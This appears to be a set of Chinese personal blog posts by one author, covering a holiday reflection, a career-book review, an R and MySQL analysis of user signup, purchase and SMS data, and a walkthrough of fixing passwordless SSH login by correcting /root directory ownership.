家人,亲戚,朋友:对父母的陪伴这次应该是工作后,质量最高的一次了,虽然因为带孩子,家务做的并不是很多,但情感的连接和交流的深度是最好的一次。过年前购买了得到精品课《怎样健康活过100岁》,和父母一起认真的听完了。我觉得还是比较有效果的,至少他们了解到了健康的生活方式比保健品要更重要。课程中也提到了《父母离去前你要做的55件事》这本书,所以我也趁着这个机会实践了一些,比如照了全家福,和父母谈谈他们年轻时的理想,中国的大事件对他们生活的影响等,尤其谈起我妈对于琵琶的热爱,我对我妈,以及我妈的家族都有了更深的理解。亲戚朋友的聚会今年已经尽量的去减少了,多年不见,见一面也确实很有必要,但成本确实很高,尤其是酒文化实在是让人头疼。所以只见了最为亲近的,同学聚会一律谢绝了。不过还是有些朋友因为时间关系,还是没能见到,希望今年年中可以有机会回家见一面。 自己:这部分是缺憾最大的,大部分计划都没能执行,不少甚至一动没动。一直坚持下来只有英语学习,每天都保证了足够的听说读写。我觉得主要有两点可以改进,一是自己的注意力管理能力还是不够好,没能利用好自己的时间和精力,我需要进一步提高自己的时间利用率,提高自己的学习效率;二是很多要做的事情要么是计划的不够仔细,没能切分到可执行的粒度,要么没有足够好的监督机制。为什么英语可以坚持下来呢?我觉得主要原因是有社群的打卡机制和每天一节口语的压力,我在社区打卡已经坚持了很久了,而且一直是第一,这对我来说有鞭策作用,另外每天的口语课要求自己必须学习,不然就表现的比较糟糕,所以其他的学习也要有类似的激励机制才会更为有效。 虽然假期也有不小的遗憾,但同时也有意外的收获: 和家人的关系更为紧密:明显和父母的关系更好了,之前因为孩子的抚养问题,有过不小的矛盾,通过这次过年,已经化解,沟通也更为深入;妻子也从之前带孩子的厌烦情绪中慢慢走出来,对我更为理解支持;小宝和我的关系本来就很亲近,经过这接近两周的长时间相处似乎又更进一步。 发现冥想的重要性:我一直都知道冥想很重要,但因为上一份工作是在烦心,再加上最近换工作的适应,一直没能坚持。过年期间终于得到了练习的机会,冥想可以让我的思路更为清晰,也更清楚自己的真正在意的东西是什么,同时感受也更为敏锐,这是今年我要持续做下去的事情。
看得远,才走得远 最近两周阅读了《远见》这本关于职业规划的书,这本书在一定程度上改变了我对职业生涯的认识。 最深的感受是职业生涯的长度。我是计算机专业毕业,一直也在从事软件相关的工作,因为工作压力大,加班强度高,大多数人对这个行业的认识都是做不久,从业十年都已经算是老兵了,我周围的环境也是如此,比我年轻的人都开始自称老头子,所以我也有点迷惑该如何发展。读了这本书我了解到职业生涯长度至少是45年,因为现代医学的进步,平均寿命甚至可能拉长到百岁,我们这代人工作到八九十岁也许也并不罕见,那么六十年的职业生涯也是可能的。我目前工作了七年多,我一直认为自己还处于职业生涯的早期,仍有很多变数,但这只是我自己的感受,没有理论和数据支持,现在我可以很确定自己的想法是正确的了。 其次是职业生涯的分段,书中把职业生涯分成了三段,第一段是起步,要多尝试各种可能,补足自己的短板,找到自己的特长和社会需求的交叉区域。第二个阶段是高峰,此时要补足自己的短板就有点晚了,这个阶段主要是充分发挥长板,找伙伴帮助补足短板,该阶段的特征就是充分发挥优势。第三阶段是尾声阶段,这时除了要充分利用自己的能力外,还需要培养接班人,向年轻一辈传授自己的经验。每一阶段持续长度都会长达十余年,甚至二十年多年。这一段对我的启发是,在生涯早期要敢于体验不同的经历,多去尝试,拥抱变化,而现在多数人的选择则是过早的安于现状,工作几年,甚至三十不到就已经进入到了第三阶段的状态,我觉得这是很危险的,岁月蹉跎,真的到了职业生涯的尾声时,会不会后悔自己的选择呢?或者甚至都意识不到自己本可以做的更好。 职业生涯的三种燃料也是颇为重要,分别是可迁移的技能,有意义的经验,持久的关系。这三种燃料是职业发展的助力,反思自己之前的工作经历,在可迁移的技能和有意义的经验两方面就积累的很少,在意义不大的岗位上停留的太久,以后要以这三方面的收获来衡量工作是否值得继续做下去。 最后还了解到职业生涯的发展早晚都会遇到危机,早早的积累三种燃料有助于让自己顺利的渡过难关,因为之前的工作经历选择不够好,最近一段时间就陷入了一段小危机,主要的原因是自己的能力没有办法以一种明确的方式表现出来,导致自己总是被低估,要好好反思一下,如何才能让自己被熟知,被市场认可。
这次的作业主要是以对一个非常简单的数据分析问题进行实践的形式呈现出来,对于《R语言实战》第一二章的内容已经体现在了对问题的解析的过程中,所以就不再将学习的过程贴出来了。 题目 题目的内容大概如下: 有三个csv文件: users.csv, 用于存储用户ID和用户的注册日期: purchases.cvs, 存储用户的购买数量和用户的购买日期。 messages.csv, 用于存储用户收到的短信条数和收到的短信日期: 根据所给的数据回答以下三个问题: 有多少百分比的用户在注册后的90天内(不包括注册日)购买了产品? 注册后90天内购买的用户中有多少百分比在注册后购买前收到了短信通知? 收到注册90天内收到的短信数量与用户90天内产品是否有关联? 答案 第一题 加载必要的库 library(Rcpp) library(Amelia) library(dplyr) 载入csv文件,去掉列名,并不需要将字符型的列转为factor users <- read.csv("~/Desktop/users.csv", stringsAsFactors = F, header = T, na.strings = c("")) messages <- read.csv("~/Desktop/messages.csv", stringsAsFactors = F, header = T, na.strings = c("")) purchases <- read.csv("~/Desktop/purchases.csv", stringsAsFactors = F, header = T, na.strings = c("”)) 查看载入的数据结构 str(users) str(messages) str(purchases) 查看数据总量 summary(users) summary(messages) summary(purchases) 直观的查看一下是否有缺失值,有208个注册日期为空的记录 missmap(users, main="user miss map") 去掉注册日期为空的用户,剩下的为已经注册的用户 users_signup <- na.omit(users) 统计有多少注册日期为空的行 sum(is.na(users$signup.date)) 日期格式转换 users_signup$signup.date <- as.Date(users_signup$signup.date) 载入购买数据 purchases = read.csv("~/Desktop/purchases.csv", stringsAsFactors = F, header = T) 查看是否有缺失值 (无缺失值) missmap(purchases) 转换日期格式 purchases$purchase.date <- as.Date(purchases$purchase.date) 过滤掉最早注册日之前的购买 purchases <- purchases[(purchases$purchase.date >= as.Date("2013-04-28", "%Y-%m-%d")), ] 合并注册用户和购买数据的信息 in_90 <- merge(x=users_signup, y=purchases, all.y=T) in_90 <- na.omit(in_90) in_90 <- in_90[((in_90$purchase.date - in_90$signup.date) <=90 & (in_90$purchase.date - in_90$signup.date) >=1), ] summary(unique(in_90$user.id)) 6369 % 23841 = 26.71% in_90 <- in_90[!duplicated(in_90$user.id), ] 读取短信信息,并转换短信数据框中的日期类型。 messages <- read.csv("~/Desktop/messages.csv", stringsAsFactors = F, header = T) messages$message.date <- as.Date(messages$message.date) messages <- messages[(messages$message.date > as.Date("2013-04-28", "%Y-%m-%d")),] 合并九十天内购买用户信息和短信通知信息,并填补空缺数据,造成空缺的原因是有2个九十天内购买的用户从来都没有收到过短信。 in_90_message <- merge(x=in_90, y=messages, by="user.id", all.x = T) in_90_message$message.date[is.na(in_90_message$message.date)] <- as.Date("2014-04-29", "%Y-%m-%d") in_90_message$message.count[is.na(in_90_message$message.count)] <- 0 过滤出在注册后收到短信并且在第一次购买前收到短信的用户,并去除重复。 in_90_message_1 <- in_90_message[((in_90_message$message.date > in_90_message$signup.date) & (in_90_message$purchase.date > in_90_message$message.date)) , ] in_90_message_1 <- in_90_message_1[!duplicated(in_90_message_1$user.id), ] 结论 共23841名用户注册,6369名用户在注册90天内购买,占比26.71%,这6369名用户中有2871名用户在第一次购买前收到了短信。 第二题 载入dplyr库,通过获取全部注册用户和九十天内购买用户的差集,拿到九天内未购买用户的数据。 require(dplyr) not_in_90 <- anti_join(users_signup, in_90) 合并九十天内的用户信息和短信信息,并转换日期格式,处理空缺值。 not_in_90_message <- merge(x=not_in_90, y=messages, by="user.id", all.x = T) not_in_90_message$message.date[is.na(not_in_90_message$message.date)] <- as.Date("2014-04-27", "%Y-%m-%d”) not_in_90_message$message.count[is.na(not_in_90_message$message.count)] <- 0 查询注册后,且注册九十天内收到短信的用户数量。 not_in_90_message_1 <- not_in_90_message[((not_in_90_message$message.date - not_in_90_message$signup.date) <= 90) & (not_in_90_message$message.date > not_in_90_message$signup.date), ] summary(unique(not_in_90_message_1$user.id)) 结论 17472个用户在注册后的90天内(不包括注册当日)没有发生购买行为。在这些17472个用户中, 有93.996% (16423)人在注册后的90天内(不包括注册当日)收到了短信。 第三题 将注册日间从字符串转换为double user$signup.date <- as.Date(user$signup.date) 合并用户和短信通知记录 user_message <- merge(x=users, y=messages, all.y=T) 只保留注册九十天内的短信通知记录 user_message <- filter(user_message, (user_message$message.date - user_message$signup.date) <91 & (user_message$message.date - user_message$signup.date) > 1 ) 将所有短信通知记录的短信条数求和 user_message <- ddply(user_message, 'user.id', function(x) data.frame(message.count.sum = sum(x$message.count))) 新增一个90到180天间购买的标示 user_purchase$buy_in_180 <- 0 user_purchase$buy_in_180[(user_purchase$purchase.date - user_purchase$signup.date) <=180 & (user_purchase$purchase.date - user_purchase$signup.date) > 91 & (user_purchase$purchase.count > 1)] <- 1 按照新增标识和用户ID降序排序,来保证下一步获取每个用户ID的唯一记录时,可以将90·180天内购买的标识为1的记录保留下来 user_purchase <- user_purchase[order(user_purchase$user.id, user_purchase$buy_in_180, decreasing = F), ] 获取每个用户ID的唯一记录 user_purchase_unique <- user_purchase[!duplicated(user_purchase$user.id, fromLast = T), ] 将短信数量信息和购买信息合并 user_purchase_unique_message <- merge(x=user_purchase_unique, y=user_message, all.x=T) 填补空缺的短信数量记录 user_purchase_unique_message$message.count.sum[is.na(user_purchase_unique_message$message.count.sum)] <- 0 计算90天内收到短信数量和90到180天间购买的关联度。 cor(user_purchase_unique_message$buy_in_180, user_purchase_unique_message$message.count.sum) [1] -0.008017904 结论 无关联。
ssh-keys.png 好久之前在公司的 PC 机上设置了 alias 登录服务器,感觉挺方便的.例如: alias 184='ssh -lroot xxx.xxx.xxx.184' 输入 184 就可以登录到 IP 以184结尾的服务器上了.可是后来有些服务器修改了密码,不再使用默认密码了,随着这种情况越来越多,想记住密码也越来越难. 想不用自己记住密码,选择有两个:一种是使用 expect 做登录时自动填写密码;另一种是使用 ssh 的公钥,免密码登录.看起来 ssh 至少不需要写代码,我又懒得要死,所以就选了免密码登录. ssh免密码登录的设置 这个方法真的是非常简单先在本机生成ssh公钥和密钥,输入 ssh-keygen 然后一路回车,搞定. # ssh-keygen 接下来将 ~/.ssh/id_rsa.pub 中的内容复制进 ~/.ssh/authorized_keys 里面就可以了. # 184 vod_dev:~ # 按照这个方法我很快的搞定了大部分的服务器免密码登录,就剩下一台服务器尝试了好几遍都不行. 在 ssh 客户端找问题 我首先想到的是看看 ssh 登录命令的输出中能不能看出什么问题. # ssh -lroot -vv 10.18.207.25 debug2: we sent a gssapi-with-mic packet, wait for reply debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password debug2: we did not send a packet, disable method debug1: Next authentication method: publickey debug1: Offering RSA public key: /home/likewise-open/HISENSE/jiangxun1/.ssh/id_rsa debug2: we sent a publickey packet, wait for reply debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password debug1: Offering DSA public key: /home/likewise-open/HISENSE/jiangxun1/.ssh/id_dsa debug2: we sent a publickey packet, wait for reply debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password debug1: Trying private key: /home/likewise-open/HISENSE/jiangxun1/.ssh/id_ecdsa debug1: Trying private key: /home/likewise-open/HISENSE/jiangxun1/.ssh/id_ed25519 debug2: we did not send a packet, disable method debug1: Next authentication method: password root@10.18.207.253's password: 最先吸引我注意力就是ssh回去查找id_dsa这个文件作为私钥,而本机只有id_rsa,我猜测是因为服务器是因为设置不同,需要使用 dsa 作为加密算法.那么就想办法让我使用的PC机产生 id_dsa 文件. # ssh-keygen -t dsa Generating public/private dsa key pair. Enter file in which to save the key (/home/likewise-open/HISENSE/jiangxun1/.ssh/id_dsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/likewise-open/HISENSE/jiangxun1/.ssh/id_dsa. Your public key has been saved in /home/likewise-open/HISENSE/jiangxun1/.ssh/id_dsa.pub. The key fingerprint is: d3:26:96:59:12:f6:f2:e6:f8:73:bc:e4:b1:4b:5a:31 HISENSE\jiangxun1@jiangxun1c1 The key's randomart image is: +--[ DSA 1024]----+ | o | | . o | | o o | | O | | S = E | | . B o | | . ..= | | ..*oo | | oo=o | +-----------------+ 在ssh的服务器端查找问题. 产生 RSA 的密钥后,问题依旧.这个时候我就有些没有头绪了,猜想也许需要重启启动一下服务器上的 sshd 才能起作用吧. [root@jhx /]# systemctl restart sshd [root@jhx /]# 重启后依旧不能免密码登录,而且 sshd 重启后在终端里一点输出都没有,都不知 ssh 是否已经重新启动,更重要的是服务器的 sshd 在收到免密码登录请求时,是否报错? 我对 Linux 的日志输出的设置不了解,又一时没有想到什么的关键词去搜索,就直接本机 grep 搜索了,确实很 low,不过好在很快就找到了 ssh 的日志放在了 /var/log/secure 文件里.ssh 重启后可以看到下面的几行输出,证明 sshd 是正常重启了. May 28 12:54:30 jhx sshd[27117]: Received signal 15; terminating. May 28 12:54:30 jhx sshd[28262]: Server listening on 0.0.0.0 port 22. May 28 12:54:30 jhx sshd[28262]: Server listening on :: port 22. 并且找到了之前免密登录时的报错信息: May 28 11:41:34 jhx sshd[27313]: Authentication refused: bad ownership or modes for directory /root May 28 11:41:34 jhx sshd[27313]: Authentication refused: bad ownership or modes for directory /root 报错信息非常明显,就是 /root 目录的权限和所有权设置不正确.接下来我就到google上去搜这条报错信息了,找到了这篇文章,文章中的主要解决方案就是修改权限,但是改过之后问题照旧.SSH Authentication Refused: Bad Ownership or Modes for Directory 现在回过头来想,真的应该好好在本机上分析一下原因,而不是不停的在搜索引擎上不停的找现成的解决方案. 当然最终我还是因为对 google 的依赖,一条道走到黑了.在网上瞎晃了半个小时以后,我终于在服务器上发现了 /root 目录的问题所在./root 目录的所有者居然不是 root. # ll / drwxr-xr-x. 15 1054761 1049089 4096 May 28 11:36 root 修改之后,终于可以成功的免密码登录了. chown root:root /root 总结 以前我就遇到过ssh免密总是无法成功的情况,一直没有找到解决办法.这次终于算是解决了.不过复盘自己分析问题的过程,还是可以发现自己过于依赖搜索引擎和stackoverflow,总是想找到完全符合自己问题的答案.更严重的问题是我自己还没有意识到这其实是不正确思考方式.缺乏自己分析和解决问题的意愿,以后遇到问题一定要先主动分析,看看自己能不能凭借自己的力量解决,实在是没有思路再去搜索引擎上寻求帮助,把搜索引擎当做场外的援助,而千万不能让搜索引擎替代自己思考. 最后搜索了一下 CentOS7 的日志输出设置,这篇文章讲的挺清楚的:SSHD is not logging in /var/log/secure
星辰大海 这是之前使用R语言完成的一道简单的数据统计题目链接:https://zhuanlan.zhihu.com/p/27092971 完成之后心理还是有点小得意的。但和答案一对比就发现问题了,自己的计算数据和正确结果差距太大了。看来我用语言暂时还是很难保证数据计算的准确性, 所以有了这篇,毕竟SQL语句更熟悉一些。 环境准备 要使用SQL查询自然要先有数据库了,有了docker技术后,我就不太倾向于直接在电脑上安装软件了,所以这次要先将MySQL在docker中启动起来。我使用的是Mac,docker的安装就不赘述了,直接总官网下载就可以了,目前Mac已经不在使用boot2docker了,号称是原生docker,但经过这次实践发现,其实谈不上原生,依旧是虚拟机方式实现的,只不过不再使用VirtualBox了,关于这点会在后面进行解释。接下来开始操作。 先下载mysql的docker image docker pull mysql:5.6 启动mysql docker run --name mysql -e MYSQL_ROOT_PASSWORD=mysql -d mysql:5.6 -p 3306:3306 --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci 这时问题就出现了, 以守护进程形式启动mysql时, 总是自动退出, 而且按照docker提供的日志存储目录(/var/lib/docker)根本就找不到, 系统上就没有这个目录. 没有日志又没法定位问题, 真是没想到第一步就卡住了. 只好到网上搜索为什么Mac系统上没有docker的日志目录,找到了一些线索:Mac依旧使用虚拟机实现的docker,所有的文件都保存在一个虚拟机的镜像文件里,"/var/lib/docker"其实是虚拟机中的目录,所以在Mac上当然找不到。但是也有办法进入虚拟机内部查看目录结构: screen ~/Library/Containers/com.docker.docker/Data/com.docker.driver.amd64-linux/tty 接下来就比较分析问题了,mysql没能启动的主要原因还是docker run命令的参数顺序问题, 调整一下就好了。 docker run -d --name mysql -p 3306:3306 -v /Users/blackpiglet/Documents/big_data:/mnt/big_data -e MYSQL_ROOT_PASSWORD=mysql -e MYSQL_DATABASE=big_data mysql:5.6 导入数据 MySQL终于启动成功了,接下来就要倒入csv文件,在倒入之前要先把表建好: create table `users` (`user.id` varchar(100), `signup.date` DATE); create table `purchases` (`user.id` varchar(100), `purchase.date` DATE, `purchase.count` smallint); create table `messages` (`user.id` varchar(100), `message.date` DATE, `message.count` smallint); 倒入csv文件的语句: LOAD DATA LOCAL INFILE '/mnt/big_data/users.csv' INTO TABLE `users` FIELDS TERMINATED BY ',' ENCLOSED BY '"' LINES TERMINATED BY '\n' IGNORE 1 LINES (`user.id`, `signup.date`); LOAD DATA LOCAL INFILE '/mnt/big_data/purchases.csv' INTO TABLE `purchases` FIELDS TERMINATED BY ',' ENCLOSED BY '"' LINES TERMINATED BY '\n' IGNORE 1 LINES (`user.id`, `purchase.date`, `purchase.count`); LOAD DATA LOCAL INFILE '/mnt/big_data/messages.csv' INTO TABLE `messages` FIELDS TERMINATED BY ',' ENCLOSED BY '"' LINES TERMINATED BY '\n' IGNORE 1 LINES (`user.id`, `message.date`, `message.count`); 查询注册90天内购买的用户数量 查询注册用户数量, 并删除注册日期为'0000-00-00'的项. select count(*) from users where `signup.date` != '0000-00-00'; 23841 SET SQL_SAFE_UPDATES = 0; delete from `users` where `signup.date` = '0000-00-00'; 查询注册90天内购买的用户数量。 这里需要注意一点MySQL的日期计算最好不要直接使用算数运算,在这个语句前使用的是 and (p.purchase.date - u.signup.date) <= 90 结果计算的数量就比实际的数量少了很多,目前还不确定造成这个现象的原因,总之尽量是用date的计算函数。 select count( distinct (u.`user.id`)), u.`signup.date`, p.`purchase.date`, p.`purchase.count` from users u join purchases p on p.`user.id` = u.`user.id` where (p.`purchase.date` - u.`signup.date`) >= 1 and (p.`purchase.date` <= date_add(u.`signup.date`, INTERVAL 90 DAY)); # count( distinct (u.`user.id`)), signup.date, purchase.date, purchase.count '6369', '2013-06-17', '2013-06-19', '1' 在进行用户表,购买表和短信消息表的联合查询时,查询时长超过了30s,MySQL报错: Error Code: 2013. Lost connection to MySQL server during query 我使用的是MySQL WorkBench,发现可以通过设置修改查询的超时时长,按照下面这个答案修改超时时长为3000s:https://stackoverflow.com/questions/2698401/how-to-store-mysql-query-results-in-another-table 修改后依旧查询超慢,可能是因为查询缺少优化,而且同时查询三张表,导致速度缓慢,优化的方法,可以将上一步用户表和购买表的联合查询结果先保存到一个中间表,然后将查询条件建好索引,之后再尝试。但是这次使用让我感觉是R确实在速度上比MySQL要快一些。 以下是使用三表联合查询的语句,真是慢的要死,几十分钟都没有响应。后来实在是没有办法,只能查询正在进行的query,然后kill了。 select count( distinct (u.`user.id`)), u.`signup.date`, p.`purchase.date`, p.`purchase.count` from users u join purchases p on p.`user.id` = u.`user.id` join messages m on m.`user.id` = u.`user.id` where (p.`purchase.date` - u.`signup.date`) >= 1 and (p.`purchase.date` <= date_add(u.`signup.date`, INTERVAL 90 DAY)) and (m.`message.date` >= date_add(u.`signup.date`, INTERVAL 1 DAY)) and (m.`message.date` < p.`purchase.date`); 以下是创建新表,和将数据倒入新表,并创建索引的过程。 create table `user_purchase` (`user.id` varchar(100), `signup.dae` DATE, `purchase.date` DATE, `purchase.count` smallint); insert into user_purchase select distinct(u.`user.id`), u.`signup.date`, p.`purchase.date`, p.`purchase.count` from users u join purchases p on p.`user.id` = u.`user.id` where (p.`purchase.date` - u.`signup.date`) >= 1 and (p.`purchase.date` <= date_add(u.`signup.date`, INTERVAL 90 DAY)); alter table user_purchase add index `index_user_id` (`user.id`); alter table user_purchase add index `index_signup_date` (`signup.date`); alter table user_purchase add index `index_purchase_date` (`purchase.date`); # 给messages表也要创建好索引: alter table messages add index `index_user_id` (`user.id`); alter table messages add index `index_message_date` (`message.date`); 查询90天内未购用户和收到短信的比例 创建一张新表,用于保存注册90天内未购买的用户信息。将users表中有,而user_purchase(保存注册90天内购买的用户信息)中没有的行插入user_not_buy表。 create table user_not_buy (`user.id` varchar(100), `signup.date` DATE); insert into user_not_buy select * from users where users.`user.id` not in (select `user.id` from user_purchase ); 给新表加上索引 select count(*) from user_not_buy; alter table user_not_buy add index `index_user_id` (`user.id`); alter table user_not_buy add index `index_signup_date` (`signup.date`); 查询收到的短信日期大于注册日期,并且小于注册日期90天的记录。 select count( distinct(u_n_b.`user.id`) ) from user_not_buy as u_n_b join messages m on u_n_b.`user.id` = m.`user.id` and (m.`message.date` >= date_add(u_n_b.`signup.date`, INTERVAL 1 DAY)) and (m.`message.date` <= date_add(u_n_b.`signup.date`, INTERVAL 90 DAY)); # count( distinct(u_n_b.`user.id`) ) '16363'